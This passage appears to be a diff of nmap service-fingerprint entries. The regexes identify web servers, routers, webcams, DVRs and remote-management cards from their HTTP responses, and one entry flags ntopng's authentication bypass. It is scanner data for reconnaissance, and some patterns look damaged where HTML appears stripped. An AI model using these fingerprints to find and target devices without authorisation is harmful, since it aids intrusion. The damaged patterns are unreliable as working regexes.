platformVersion=\"(((?:2\.)?\d\.\d+)[^"]+)\"| p/Plex Media Server httpd/ i/friendlyName: $1; OS version $2/ o/Linux $3/ cpe:/a:plex:plex_media_server/ cpe:/o:linux:linux_kernel:$3/ +match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\" [^>]*platform=\"([^"]+)\" platformVersion=\"([^"]+)\"| p/Plex Media Server httpd/ i/friendlyName: $1; OS version $3/ o/$2/ cpe:/a:plex:plex_media_server/ +match http m|^HTTP/1\.[01] 200 OK\r\nContent-Type: text/xml;charset=utf-8\r\nContent-Length: \d+\r\nConnection: close\r\nX-Plex-Protocol: 1\.0\r\nCache-Control: no-cache(?:\r\nDate: .*)?\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>\n]*friendlyName=\"([^"]*)\"| p/Plex Media Server httpd/ i/friendlyName: $1/ cpe:/a:plex:plex_media_server/ +match http m|^HTTP/1\.0 302 Moved Temporarily\r\nContent-Type: text/html\r\nSet-Cookie: cookie_session_id_0=\d+; path=/;\r\nCache-Control: public\r\nPragma: cache\r\nExpires: .*\r\nDate: .*\r\nLast-Modified: Thu, 01 Jan 1970 00:00:00 GMT\r\nAccept-Ranges: bytes\r\nConnection: close\r\nLocation: https?://[\w._-]+:\d+/index\.cgi\?active%5fpage=9091&req%5fmode=0\r\n\r\n| p/OpenRT httpd/ o/OpenRT/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"(iRMC S\d)@iRMC([0-9A-F]{6})\", qop=\"auth\", nonce=\"[0-9a-f-]+\", opaque=\"[0-9a-f]+\", stale=\"FALSE\" \r\n(?:Connection: close\r\n)?Cache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\n\r\n296\r\n| p/Fujitsu $1 httpd/ i/Host ID (MAC) $2/ d/remote management/ +match http m|^HTTP/1\.1 400 Bad Request\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nProxy-Connection: close\r\nConnection: close\r\nContent-Length: 727\r\n\r\n\r\nRequest Error\r\n\r\n\r\n\r\n
          | p/ISPConfig http control panel/ +match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: alphapd\r\nDate: .*\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-type: text/html\r\nWWW-Authenticate: Digest realm=\"(TV-IP\d\d\d\w*)\",qop=\"auth\", nonce=\"[a-f0-9]+\"\r\n\r\n| p/TRENDnet $1 httpd/ d/webcam/ cpe:/h:trendnet:$1/a +#example $2 = "MediaCloset\0" +match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\nAPC Back-UPS ([^(]+)\(([^)]+)\)| p/APC Back-UPS $1 http admin/ i/$P(2)/ +match http m|^HTTP/1\.1 401 UNAUTHORIZED\r\nWWW-Authenticate: Basic realm=\"Login Required\"\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 90\r\nDate: .*\r\nServer: ([\w._-]+)\r\n\r\nCould not verify your access level for that URL\.\nYou have to login with proper credentials| p/Maraschino XBMC http interface/ h/$1/ +match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: session=[0-9a-f]{40}; Path=/; HttpOnly\r\nX-Auth-Status: none\r\nContent-Type: text/html\r\nDate: .*\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n.* href=\"/ajenti:static/|s p/Ajenti http control panel/ cpe:/a:ajenti:ajenti/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Hydra/([\w._-]+)\r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Length: \d+\r\nLast-Modified: .*\r\nETag: \"[^"]+\"\r\nContent-Type: text/html\r\n\r\n\n\nIntelligent Switch>\n| p/Hydra httpd/ v/$1/ i/ZyXEL GS1600 or GS1900 switch/ d/switch/ cpe:/a:nikos_mavroyanopoulos:hydra:$1/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Length: \d+\r\nLast-Modified: .*\r\nETag: \"[^"]+\"\r\nContent-Type: text/html\r\n\r\n\n\nIntelligent Switch>\n| p/Hydra httpd/ i/ZyXEL GS1600 or GS1900 switch/ d/switch/ cpe:/a:nikos_mavroyanopoulos:hydra/ +match http m|^HTTP/1\.1 200 OK\r\nSet-Cookie: JSESSIONID=[0-9A-F]{32}; Path=/\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: \r\n\r\n| p/Cisco Unified Communications Manager httpd/ cpe:/a:cisco:unified_communications_manager/ +# version 8.5.1 reported with SAMEORIGIN, but not in 8.6 +# version 8.6 has Secure; HttpOnly +match http m|^HTTP/1\.1 200 OK\r\n(?:X-Frame-Options: SAMEORIGIN\r\n)?Set-Cookie: JSESSIONID=[0-9A-F]{32}; Path=/; Secure; HttpOnly\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: \r\n\r\n| p/Cisco Unified Communications Manager httpd/ cpe:/a:cisco:unified_communications_manager/ +# TODO: Which version has HttpOnly and not Secure? +match http m|^HTTP/1\.1 200 OK\r\nX-Frame-Options: SAMEORIGIN\r\nSet-Cookie: JSESSIONID=[0-9A-F]{32}; Path=/; HttpOnly\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: \r\n\r\n| p/Cisco Unified Communications Manager httpd/ cpe:/a:cisco:unified_communications_manager/ +match http m|^HTTP/1\.0 500 No such header: Host\r\nserver: Ag \[47\]\r\ncontent-type: text/html\r\n\r\n\n\n\n\n

          500: No such header: Host

          \n\n\r\n| p/ZyXEL Keenetic http admin/ d/broadband router/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nConnection: close\r\n\r\nBasic Status\n| p/NetComm Wireless ADSL router http admin/ d/WAP/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: Easy Chat Server/([\w._-]+)\r\n| p/Easy Chat Server httpd/ v/$1/ +match http m|^HTTP/1\.1 503 Service Unavailable\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Length: \d+\r\nX-Iinfo: ?[\d-]+ .NNN RT\(\d+ \d+\) q\([ 0-9-]+\) r\([ 0-9-]+\)| p/Incapsula CDN httpd/ +match http m|^Evolis TCP/IP\r\n| p/Evolis ID card printer httpd/ d/printer/ +match http m|^HTTP/1\.0 200 OK\r\nServer: pilight\r\n| p/pilight home automation webGUI/ +match http m|^HTTP/1\.0 302 Moved Temporarily\r\nX_Language: .*\r\nContent-Type: text/html\r\nServer: Embedthis-http\r\nLocation: https://([^/]+)/start\.html\n\r\n| p/Embedthis httpd/ i/Dell iDRAC 7/ d/remote management/ h/$1/ cpe:/h:dell:idrac7/ +match http m|^HTTP/1\.[01] 30[12] Moved .*\r\nServer: Mbedthis-Appweb/([\d.]+)\r\nLocation: https://([^/]+)/start\.html\n\r\n| p/Embedthis Appweb httpd/ v/$1/ i/Dell iDRAC/ d/remote management/ h/$2/ cpe:/a:mbedthis:appweb:$1/ +match http m|^HTTP/1\.[01] 30[12] Moved [^\r\n]+\r\n(?:[^\r\n]+\r\n)*?Location: https://([^/]+)/start\.html\n\r.*\nETag: [^\r\n]+ ([A-Z]+)\r\n|s p/Dell iDRAC http admin/ i/time zone: $1/ d/remote management/ h/$2/ +match http m|^HTTP/1\.[01] 30[12] Moved [^\r\n]+\r\n(?:[^\r\n]+\r\n)*?Location: https://([^/]+)/start\.html\n\r\n|s p/Dell iDRAC http admin/ d/remote management/ h/$1/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nContent-Type: text/html\r\nContent-Length: 165\r\nLocation: http://oishare/DCIM\r\n\r\n\r\n301 Moved Permanently\r\n

          301 Moved Permanently

          \r\n\r\n\r\n| p/Olympus camera httpd/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: \r\nCache-Control: no-cache, private\r\nPragma: no-cache\r\nExpires: .*\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n(NWA[\w-]+)| p/ZyXEL $1 http config/ d/WAP/ cpe:/h:zyxel:$1/a +match http m|^HTTP/1\.0 404 Not Found\r\nServer: thttpd/([\w.]+)-Avtrex/([\w._-]+)\r\n| p/thttpd/ v/$1/ i/Avtrex $2/ d/media device/ cpe:/a:acme:thttpd:$1/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection:close\r\n\r\n\r\n\r\n\r\n\tBerryz WebShare| p/Berryz WebShare/ +match http m|^HTTP/1\.1 500 Internal error\r\nCache: no-cache\r\nContent-Type: text/plain\r\nContent-Length: 28\r\n\r\nCardo Updater Internal error| p/Cardo Updater/ +match http m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/html\r\nCONTENT-LENGTH: 260\r\n\r\n.*

          PRESENTATION PAGE

          |s p/Pioneer VSX-921, Denon DNP-720AE, or Marantz AV7005 AV receiver http config/ d/media device/ +match http m|^HTTP/1\.1 401 Authorization Required\r\nWWW-Authenticate: Basic realm=\"Fhem: login required\"\r\nContent-Length: 0\r\n\r\n| p/FHEMWEB Fhem frontend/ cpe:/a:rudolf_koenig:fhem/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\nYouLess energy monitor| p/YouLess energy monitor httpd/ d/power-device/ +match http m|^HTTP/1\.1 500 Server Error\r\nContent-Length: 0\r\nServer: HBHTTP POGOMVOFFICE - ([\w._-]+) - Linux\r\nDate: .*\r\nConnection: close\r\n\r\n| p/Pogoplug Office NAS httpd/ v/$1/ d/storage-misc/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: AmazonS3\r\n\r\n404|s p/Amazon S3 httpd/ +match http m|^HTTP/1\.0 404 Not Found\r\nX-Powered-By: Servlet/([\d.]+)\r\nContent-Type: text/html\r\nDate: .*\r\n\r\n

          SRVE0255E: A WebGroup/Virtual Host to handle / has not been defined\.


          SRVE0255E: A WebGroup/Virtual Host to handle localhost:\d+ has not been defined\.


          IBM WebSphere Application Server| p/IBM Tivoli Enterprise Portal/ i/Servlet $1/ cpe:/a:ibm:websphere_application_server/ +match http m|^HTTP/1\.1 302 Moved Temporarily\r\nLocation: http://([\w.-]+)/index\.do\r\nContent-Type: text/html;charset=UTF-8\r\nContent-Length: 0\r\nDate: .*\r\nConnection: close\r\nServer: ThinkFree Server\r\n\r\n| p/ThinkFree Server Integrator/ h/$1/ +match http m|^HTTP/1\.1 \d\d\d .*
          nginx/([\d.]+)
          \r?\n\r?\n[\r\n]+$|s p/nginx/ v/$1/ cpe:/a:igor_sysoev:nginx:$1/ +match http m|^HTTP/1\.1 302 Found\r\nDate: .*\r\nCache-Control: no-cache\r\nX-Runtime: \d+\r\nSet-Cookie: spiceworks_session=[^;]+; path=/; HttpOnly\r\nLocation: https?://([\w.-]+):\d+/login\r\n| p/Spiceworks http admin/ h/$1/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Clearswift\r\n| p/Clearswift Secure Web Gateway/ d/security-misc/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nAccept-Ranges: bytes\r\nETag: \"[^"]+\"\r\nLast-Modified: .*\r\nContent-Length: \d+\r\nConnection: close\r\nDate: .*\r\nServer: dcs-lig-httpd\r\n\r\n| p/lighttpd/ i/D-Link DCS IP camera/ d/webcam/ cpe:/a:lighttpd:lighttpd/a +match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nExpires: .*\r\nConnection: close\r\nPragma: no-cache\r\nContent-Length: \d+\r\n\r\n\n\n\n Xfinity| p/Xfinity router http config/ d/broadband router/ +# Panasonic TX-P55VTW60 +match http m|^HTTP/1\.0 404 Not Found\r\nServer: Panasonic AVC Server/([\w._-]+)\r\nConnection: close\r\nCache-Control: no-cache,no-store\r\nContent-Length: 0\r\n\r\n| p/Panasonic AVC httpd/ v/$1/ d/media device/ +match http m|^HTTP/1\.0 403 Forbidden\r\nContent-Length: 15\r\nContent-Type: text/html\r\nAccess-Control-Allow-Origin: \*\r\nAccess-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept\r\nAccess-Control-Allow-Methods: POST, GET, OPTIONS\r\n\r\nInvalid request| p/Amazon MP3 Downloader httpd/ +match http m|^HTTP/1\.0 302 Redirect\r\nServer: Hikvision-Webs\r\nDate: .*\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nLocation: http://([\w.-]+):\d+/index\.[asphtm]+\r\n\r\n| p/Hikvision DVR httpd/ d/media device/ h/$1/ +match http m|^HTTP/1\.1 400\r\nContent-Length: 22\r\nContent-Type: text/plain\r\n\r\nMalformed Request-Line| p/SABnzbd newsreader httpd/ +match http m|^HTTP/1\.1 200 OK\r\nServer: HP_Compact_Server\r\nContent-Length: \d+\r\n-onnection: keep-alive\r\nContent-Type: text/html\r\n| p/HP LaserJet printer http admin/ d/printer/ +# ntopng <= 1.1 (r7342) had an auth bypass because processing isn't terminated after redirect. +match http m|^HTTP/1\.1 302 Found\r\nSet-Cookie: session=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT; max-age=0; HttpOnly\r\nLocation: /login\.html\r\n\r\nHTTP/1\.1 200 OK\r\nCache-Control: max-age=0, no-cache, no-store\r\nPragma: no-cache\r\nServer: ntopng ([\d.]+) \((r\d*)\)\r\n| p/ntopng http interface/ v/$1/ i/SVN $2; auth bypass/ cpe:/a:ntop:ntopng:$1/ +match http m|^HTTP/1\.1 302 Found\r\nSet-Cookie: session=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT; max-age=0; HttpOnly\r\nLocation: /login\.html\r\n\r\n$| p/ntopng http interface/ v/1.2/ cpe:/a:ntop:ntopng:1.2/ +match http m|^HTTP/1\.1 302 Found\r\nSet-Cookie: session=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT; max-age=0; HttpOnly\r\nLocation: /lua/login\.lua\?referer=/\r\n\r\n| p/ntopng http interface/ v/2.0 or later/ cpe:/a:ntop:ntopng/ +match http m|^HTTP/1\.0 200 OK\r\nDate: .*\nServer: owhttpd\r\nLast-Modified: .*\r\nContent-Type: text/html\r\n\r\n| p/OWFS httpd/ cpe:/a:owfs:owhttpd/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nPragma: no-cache\r\nWWW-Authenticate: Digest realm=\"([^"]+)\", domain=\"/\", nonce=\"[\da-f]+\", algorithm=\"MD5\", qop=\"auth\"\r\nWWW-Authenticate: Basic realm=\"\1\"\r\nContent-Type: text/html\r\n.*\r\n\r\nError 401|s p/Tandberg videoconference httpd/ i/"$1"/ +match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nSet-Cookie: rg_cookie_session_id=.*.*(MP\d\w+)|s p/Audiocodes $1 gateway http config/ d/VoIP adapter/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nDate: .*\r\nConnection: close\r\n\r\n\n\n \n rabbit\.js and Socket\.IO publish/subscribe example| p/Node.js/ i/rabbit.js messaging example page/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\nDate: .*?\r\nConnection: close\r\n\r\n.*\n|s p/DVRWeb viewer/ v/$SUBST(1,",",".")/ i/CmdPort $2; StreamPort $3/ +match http m|^HTTP/1\.0 200 OK\r\nServer: KwikNet Web Server\r\n| p/Kadak KwikNet httpd/ +match http m|^HTTP/1\.1 406 Not Acceptable\r\nContent-Type: text/html\r\nServer: MineloadHTTPD\r\n\r\nInvalid XML password\.| p/Mineload Bukkit plugin/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nDate: .*\r\nServer: cPanel\r\n| p/cPanel httpd/ i/unauthorized/ +match http m|^HTTP/1\.1 200 OK\r\nPragma: no-cache\r\nCache-control: no-cache\r\nDate: .*\r\nServer: eXtensible UPnP agent\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Type: text/html\r\nEXT:\r\n\r\n.*Uptime: (\d+ days, [\d:]+).*Model: xupnpd-([\w._-]+)|s p/xupnpd http admin/ v/$2/ i/uptime: $1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: fexsrv\r\nLast-Modified: .*\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n| p/F*EX (Frams' Fast File EXchange) server/ cpe:/a:ulli_horlacher:fex/ +match http m|^HTTP/1\.0 403 Forbidden\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\nPragma: no-cache\r\n\r\n\r\n\r\n\r\n\r\n \" >| p/Novell Access Gateway/ +match http m|^HTTP/1\.0 302 Moved Temporarily\r\nContent-Type: text/html\r\n(?:X-Frame-Options: SAMEORIGIN\r\n)?Set-Cookie: wbm_cookie_session_id=[\dA-F]+; path=/; HttpOnly\r\n(?:Cache-Control: public,max-age=86400\r\nPragma: cache\r\nExpires: .*\r\n)?Date: .*\r\n(?:Last-Modified: .*\r\n)?Accept-Ranges: bytes\r\nConnection: close\r\nLocation: /main\.cgi\?page=index\.html\r\n\r\n| p/Vodafone Station http config/ d/WAP/ +# Also responds to GenericLines (v6.60) +match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nLast-Modified: .*\r\nContent-Type: text/html\r\nConnection: Close\r\nContent-Length: \d+ +\r\n\r\n.+>Dual DHCP DNS Server Version ([\w._-]+ Windows Build \d+)<|s p/Dual DHCP DNS Server http viewer/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 200 Ok\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nConnection: close\r\nRefresh: 5;url=/\r\n\r\n.*

          PowerMTA™ ([\w._-]+) 
          \r\n
          \r\n\r\nRedirect \(authentication_redirect_to_virtual_host\)| p/Pitney Bowes Business Manager BMDLAService/ h/$1/ +match http m|^HTTP/1\.0 401 Unauthorized\r.*\nServer: phionEntegraHTTP\r\nAllow: GET, HEAD, DELETE\r\nWWW-Authenticate: Basic realm=phion Transparent Agent authentication\r\n|s p/phion Entegra SSL VPN client/ +match http m|^HTTP/1\.0 404 Not Found\r\nServer: 2Wire TR-069\r\nContent-Length: 0\r\nAllow: GET\r\nWWW-Authenticate: d=\d+ +set_mask=0x[\da-f]+ +handle_evt=0x[\da-f]+.+\r\n| p/2Wire TR-069 access/ +match http m|^HTTP/1\.1 302 Found\r\nX-UA-Compatible: IE=edge,chrome=1\r\nSet-Cookie: JSESSIONID=[\dA-F]+; Path=/; Secure; HttpOnly\r\nDate: .*\r\nLocation: /maintenance-login\.html\r\nContent-Type: text/html;charset=UTF-8\r\nContent-Length: 0\r\nVary: Accept-Encoding\r\nConnection: close\r\nServer: NSC/([\w._-]+) \(JVM\)\r\n\r\n| p/Nexpose Security Console/ v/$1/ i/maintenance mode/ cpe:/a:rapid7:nexpose:$1/ +match http m|^HTTP/1\.1 \d\d\d (?:[^\r\n]+\r\n(?!\r\n))*?Server: NSC/([\w._-]+) \(JVM\)\r\n\r\n|s p/Nexpose Security Console/ v/$1/ cpe:/a:rapid7:nexpose:$1/ +match http m|^HTTP/1\.1 302 Found\r\nX-Frame-Options: SAMEORIGIN\r\nX-UA-Compatible: IE=edge,chrome=1\r\nX-Content-Type-Options: nosniff\r\nX-XSS-Protection: 1; mode=block\r\nLocation: https://[^/]+/login\.jsp\r\nContent-Length: 0\r\nDate: .*\r\nConnection: close\r\nServer: Security Console\r\n\r\n| p/Nexpose Security Console/ cpe:/a:rapid7:nexpose/ +match http m|^HTTP/1\.1 404 Not Found\r\nX-Powered-By: Sinopia/([\w._-]+)\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 13\r\nVary: Accept-Encoding\r\nX-Status-Cat: http://flic\.kr/p/aV6juR\r\nDate: .*\r\nConnection: close\r\n\r\nCannot GET /\n| p/Sinopia npm proxy/ v/$1/ i/node.js/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.1 300 Multiple Choices\r\nVary: X-Auth-Token\r\nContent-Type: application/json\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n{\"versions\": {\"values\": \[{.*?\"type\": \"application/vnd\.openstack\.identity-v([\d.]+)\+| p/OpenStack Identity API/ v/$1/ +match http m|^HTTP/1\.1 200 Ok\r\nServer: ZyXEL Modem\r\n.*\.::Welcome to ZyXEL ([^:<]+?)::\.|s p/ZyXEL $1 modem http config/ d/broadband router/ cpe:/h:zyxel:$1/a +match http m|^HTTP/1\.1 \d\d\d .*\r\nServer: Oracle-Traffic-Director/([\w._-]+)\r\nDate: .*\r\nContent-length: \d+\r\nContent-type: text/html; charset=UTF-8\r\nX-powered-by: Servlet/([\w._-]+) JSP/([\w._-]+)\r\n| p/Oracle Traffic Director/ v/$1/ i/Servlet $2; JSP $3/ cpe:/a:oracle:jsp:$3/ +match http m|^HTTP/1\.1 \d\d\d .*\r\nServer: Oracle-Traffic-Director/([\w._-]+)\r\n| p/Oracle Traffic Director/ v/$1/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Printopia/([\w._-]+)\r\nLocation: http://www\.ecamm\.com/mac/printopia/instructions\.html\r\nConnection: close\r\n\r\n| p/Printopia for Mac/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: httpd\r\nDate: .* GMT\r\nWWW-Authenticate: Basic realm=\"(E\d+)\"\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n| p/Cisco Linksys $1 router config/ d/broadband router/ cpe:/h:cisco:linksys_$1/a +# Blackberry 10.2.1 +match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nServer: \r\n\r\n404 Not Found\n

          404 Not Found

          \nindex\.html:
          This item has not been found
          \n| p/Blackberry Universal Device Service/ d/phone/ cpe:/a:blackberry:blackberry_universal_device_service/ +match http m|^HTTP/1\.1 404 Service not found\r\nDate: .* GMT\r\nServer: ACE XML Gateway\r\nContent-Type: text/plain\r\nContent-Length: 42\r\nConnection: close\r\n\r\nNo handler was found matching the request\.| p/Cisco Application Control Engine XML Gateway/ d/load balancer/ cpe:/a:cisco:application_control_engine_software/ +# Post-2.2 development version has longer content +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: 17\r\nWWW-Authenticate: Basic realm=varnish-agent\r\nDate: .*\r\n\r\nAuthorize, please$| p/Varnish Agent/ v/2.2 or older/ cpe:/a:varnish-cache:varnish_agent/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"NetAV\", nonce=\"[\da-f]{32}\", algorithm=MD5, domain=\"/netav/\", qop=\"auth\",\r\nPragma: no-cache\r\nCache-control: no-cache, no-store\r\n\r\n$| p/Sony NetAV/ d/media device/ +# UUID header added in 0.5.6b +match http m|^HTTP/1\.1 400 Bad request\r\nContent-Type: text/html; charset=utf-8\r\nPragma: no-cache\r\nExpires: 0\r\nCache-Control: no-store\r\nConnection: close\r\nX-PageKite-UUID: [\da-f]{40}\r\n\r\n

          400 Bad request

          Invalid request, no Host: found\.

          \n| p/PageKite localhost tunnel/ v/0.5.6b or later/ +match http m|^HTTP/1\.1 404 Not Found\r\nDate: .*\r\nServer: Genetic Lifeform and Distributed Open Server ([\w._-]+)\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nCache-Control: public, max-age=31536000\r\nContent-Length: 28\r\n\r\nAn error has occurred\. \(404\)| p/Hentai@Home P2P downloader/ v/$1/ +match http m|^HTTP/1\.1 400 Bad Request \(missing Host: header\)\r\nConnection: close\r\nDate: .* ([-+]\d\d\d\d)\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n| p/Pandora FMS/ i/timezone: $1/ +match http m|^HTTP/1\.1 302 Moved Temporarily\r\nContent-Type: text/plain\r\nContent-Length: 24\r\nLocation: /unsupported_browser\.htm\r\nDate: .*\r\nConnection: close\r\nServer: RStudio\r\n\r\n/unsupported_browser\.htm| p/RStudio Server/ +match http m|^HTTP/1\.0 401 unknown \r\nServer: ForceLiveTransfer/([\w ]+)\r\nContent-Length: 0\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"[^"]+\"\r\n\r\n$| p/ForceTech ForceLive Transfer/ v/$1/ d/media device/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-type: text/plain\r\nContent-length: 58\r\n\r\n400 Bad Request\n'json' or 'msgpack' parameter is required\n$| p/fluentd data collector/ v/0.10.48 or later/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: http://null/console/index\.html\r\nConnection: close\r\nDate: .*\r\n\r\n$| p/HornetQ JMS http admin/ +match http m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nContent-Type: text/html; charset=UTF-8\r\nServer: gvs ([\d.]+)\r\n.* Error 404 \(Not Found\)!!1|s p/Google Video Server/ v/$1/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nConnection: close\r\nDate: .*\r\nServer: HPE?-iLO-Server/([\w._-]+)\r\nContent-Length: 0\r\n\r\n| p/HP Integrated Lights-Out web interface/ v/$1/ cpe:/h:hp:integrated_lights-out:$1/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nConnection: close\r\nDate: .*\r\nContent-Length: 0\r\n\r\n| p/HP Integrated Lights-Out web interface/ cpe:/h:hp:integrated_lights-out/ +match http m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nServer: Brazil/([\d.]+)\r\nConnection: close\r\nContent-Length: 135\r\nContent-Type: text/html\r\n\r\n\n\nError: 404\n\nGot the error: Not Found
          \nwhile trying to obtain /
          \n\n\n| p/Sun Labs Brazil httpd/ v/$1/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 403 Forbidden\r\nServer: Norman Security/([\w._-]+)\r\nContent-Type: text/html\r\nConnection: Close\r\nContent-Length: 83\r\n\r\nSecurity Error

          403 - Forbidden

          | p/Norman Security Suite http config/ v/$1/ cpe:/a:norman:security_suite:$1/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"Tadiran MGCP Phone\"\r\nContent-Type: text/html\r\n\r\n| p/Tadiran MGCP phone http config/ d/VoIP phone/ +match http m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Cosminexus HTTP Server\r\n| p/Hitachi Cosminexus httpd/ cpe:/a:hitachi:cosminexus_application_server/ +match http m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Intel\(R\) Small Business Technology ([\w._-]+)\r\n|s p/Intel Small Business Technology Platform/ v/$1/ d/remote management/ cpe:/a:intel:small_business_technology_platform:$1/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\n.*|s p/IBM WebSphere Application Server/ v/$1/ i/Liberty Profile/ cpe:/a:ibm:websphere_application_server:$1:-:liberty_profile/ +match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: DrWebServer/REL-1000-([\w._-]+) ([^/]+)/(\w+) Lua/([\w._-]+) OpenSSL/([\w._-]+) zlib/([\w._-]+) UNICODE/[\d.]+\r\n|s p/Dr.Web Enterprise Security Suite httpd/ v/$1/ i/arch: $3; Lua $4; OpenSSL $5; zlib $6/ o/$SUBST(2,"_"," ")/ cpe:/a:drweb:enterprise_security_suite:$1/ cpe:/a:gnu:zlib:$6/ cpe:/a:openssl:openssl:$5/ cpe:/a:puc-rio:lua:$4/ +# aviosys 9060 webcam +match http m|^HTTP/1\.0 401 NG \r\nWWW-Authenticate: Basic realm=Camera Name : (.*)\r\n\r\nUnauthorized$| p/Aviosys webcam httpd/ i/camera name: $1/ d/webcam/ +match http m|^HTTP/1\.1 400 Bad request\r\nContent-Length: 80\r\n\r\n400 Bad requestBad request| p/Cockpit management console/ o/Linux/ cpe:/a:redhat:cockpit/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 404 Not Found\r\nServer: CPE-SERVER/([\w._-]+) Supports only GET\r\n\r\n| p/CPE Server TR-069 remote access/ v/$1/ d/broadband router/ +match http m|^HTTP/1\.1 200 OK\r\nServer: IPCamera HTTP/ONVIF/P2P/RTSP/VOD Multi-Server\r\n| p|DB Power IP Camera HTTP/ONVIF/P2P/RTSP/VOD multi-server| d/webcam/ +match http m|^HTTP/1\.1 200 OK\r\nServer: WebServer\(ipcamera\)\r\n| p|DB Power IP Camera HTTP/ONVIF/P2P/RTSP/VOD multi-server| d/webcam/ +# Amazon Fire TV +match http m|^HTTP/1\.1 \d\d\d [\w ]+ \r\nContent-Type: text/plain\r\nDate: .*\r\nConnection: keep-alive\r\nContent-Length: \d+\r\n\r\nError \d\d\d, [\w ]+\.$| p/Amazon Whisperplay DIAL REST service/ d/media device/ cpe:/a:amazon:whisperplay/ +match http m|^HTTP/1\.1 403 HTTP_FORBIDDEN\r\nCache-Control: no-cache\r\nConnection: close\r\nDate: .* \d\d:\d\d:\d\d\r\n\r\n| p/Folding@Home FAHClient/ cpe:/a:stanford:fahclient/ +match http m|^HTTP/1\.1 401 